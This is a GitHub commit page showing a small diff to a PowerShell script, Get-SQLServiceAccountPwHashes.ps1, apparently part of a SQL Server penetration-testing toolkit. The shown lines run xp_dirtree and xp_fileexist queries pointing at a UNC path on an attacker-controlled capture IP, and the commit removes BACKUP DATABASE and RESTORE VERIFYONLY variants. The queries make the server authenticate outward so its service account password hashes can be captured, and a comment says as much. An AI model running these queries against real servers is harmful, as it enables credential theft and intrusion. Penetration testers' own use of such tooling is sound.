Skip to content

Commit 3bed644

Browse files
authored
bug fix
1 parent 84663b3 commit 3bed644

1 file changed

Lines changed: 1 addition & 3 deletions

File tree

scripts/pending/Get-SQLServiceAccountPwHashes.ps1

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -72,9 +72,7 @@ Function Get-SQLServiceAccountPwHashes {
7272
# Functions executable by the Public role that accept UNC paths
7373
Get-SQLQuery -Instance $CurrentInstance -Query "xp_dirtree '\\$CaptureIp\file'" -SuppressVerbose | out-null
7474
Get-SQLQuery -Instance $CurrentInstance -Query "xp_fileexist '\\$CaptureIp\file'" -SuppressVerbose | out-null
75-
Get-SQLQuery -Instance $CurrentInstance -Query "BACKUP DATABASE TESTING TO DISK = '\\$CaptureIp\file'" -SuppressVerbose | out-null
76-
Get-SQLQuery -Instance $CurrentInstance -Query "RESTORE VERIFYONLY FROM DISK = '\\$CaptureIp\file'" -SuppressVerbose | out-null
77-
75+
7876
# Sleep to give the SQL Server time to send us hashes :)
7977
sleep $TimeOut
8078

0 commit comments

Comments
 (0)